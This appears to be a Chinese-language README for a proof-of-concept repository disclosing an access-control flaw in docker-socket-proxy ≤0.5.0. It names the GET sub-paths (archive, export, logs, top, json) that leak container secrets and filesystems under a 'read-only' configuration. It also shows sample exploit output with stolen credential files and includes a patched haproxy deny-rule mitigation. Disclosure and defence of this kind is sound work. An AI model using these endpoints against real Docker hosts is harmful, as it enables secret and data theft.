Tecnativa docker-socket-proxy ≤ 0.5.0 — 访问控制粒度不足(CWE-1220)
CVSS 4.0:8.3(高危) — CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
攻击向量为相邻网络(
AV:A):攻击者需要与代理建立本地/相邻网络连接——这正是缓解措施中要求将其隔离在任何可路由接口之外的原因。
docker-socket-proxy 是一个面向 Docker 套接字的 HAProxy 前端,其全部意义在于为 Docker API 提供有作用域、最小权限的访问。运维人员常用的“安全、只读”经典配置如下:
CONTAINERS=1 # allow listing/inspecting containers
POST=0 # deny everything that mutates state
# every other flag left at its default (0)
运维人员合理地认为这将产生只读的容器元数据。但事实并非如此。
在 haproxy.cfg 中,整个 /containers 命名空间仅由一条粗粒度的前缀规则把关:
http-request allow if { path,url_dec -m reg -i ^(/v[\d\.]+)?/containers } { env(CONTAINERS) -m bool }
该正则匹配 /containers 下的每一个 GET 子路径,包括那些本不属于“列出容器”范围的敏感只读端点。由于它们都是 GET,POST=0 防护对它们毫无作用:
最终效果:在“加固后”的 CONTAINERS=1, POST=0 配置下,任何能触达代理的人都能转储主机上每一个容器的机密信息,并窃取完整文件系统。
lab/ vulnerable docker-socket-proxy v0.5.0 + a victim container with planted secrets
exploit/ exploit.sh — end-to-end data-exfiltration PoC
mitigation/ patched haproxy.cfg + compose that denies the sensitive sub-paths
verify.sh one command: stand up both, exploit, print a before/after table
teardown.sh stop everything
loot/ exploit output lands here
需要 Docker + Docker Compose 以及 POSIX shell(Windows 上 Git Bash 可用)。
./verify.sh
或者逐步执行:
docker compose -f lab/docker-compose.yml up -d # vulnerable proxy on 127.0.0.1:2375
bash exploit/exploit.sh http://127.0.0.1:2375 # loot lands in ./loot
代理仅绑定到
127.0.0.1。切勿在可路由接口上暴露 Docker 套接字代理。
[+] POST /containers/create -> 403 Forbidden (operator believes they are safe)
Leaked environment variables:
STRIPE_API_KEY=sk_live_FAKE_0000000000000000
DB_PASSWORD=hunter2-from-container-env
[+] Pulled /etc/passwd via /archive
[+] Stole /run/secrets/aws.env via /archive
[+] Exported entire filesystem (8,095,232 bytes) via /export
[+] Retrieved process table via /top and logs via /logs
上述每一项都是在
POST=0仍然生效的情况下获取的。
真正的修复:升级到已修补的版本(见 issue #182 / PR #183),并停止依赖 CONTAINERS=1 单独实现“只读”。
本仓库还附带一份可直接替换的加固配置(mitigation/haproxy.patched.cfg),它在粗粒度的 /containers 放行规则之前为危险子路径添加了显式 deny 规则,每条规则都可通过专用标志重新启用(ALLOW_ARCHIVE、ALLOW_EXPORT、ALLOW_LOGS、ALLOW_TOP):
http-request deny if { ... /containers/[..]/archive } ! { env(ALLOW_ARCHIVE) -m bool }
http-request deny if { ... /containers/[..]/export } ! { env(ALLOW_EXPORT) -m bool }
http-request deny if { ... /containers/[..]/logs } ! { env(ALLOW_LOGS) -m bool }
http-request deny if { ... /containers/[..]/top } ! { env(ALLOW_TOP) -m bool }
已验证的修复前后对比(verify.sh 输出)——采用相同的 CONTAINERS=1, POST=0 配置:
合法的列表/检查功能仍正常工作;数据外泄手段已被阻断。
运维层面还有:将代理隔离在任何可路由网络之外,以只读方式挂载 Docker 套接字,并应用最小权限原则(仅启用消费者确实需要的标志)。
仅供授权的安全测试与教育用途。该实验完全在你自己的主机上,针对你创建的容器运行。
| 端点(GET) | 泄漏内容 |
|---|
/containers/{id}/archive?path=… | 从任意容器任意读取文件 |
/containers/{id}/export | 整个容器文件系统(tar 包) |
/containers/{id}/logs | 容器 stdout/stderr |
/containers/{id}/top | 进程列表(含完整 argv,可能包含凭据) |
/containers/{id}/json | 完整配置,包括环境变量 |
| GET 端点 | 存在漏洞版本(:2375) | 已修复版本(:2376) |
|---|
/containers/json(列表) | 200 | 200 |
/containers/{id}/json(检查) | 200 | 200 |
/containers/{id}/archive | 200 | 403 |
/containers/{id}/export | 200 | 403 |
/containers/{id}/logs | 200 | 403 |
/containers/{id}/top | 200 | 403 |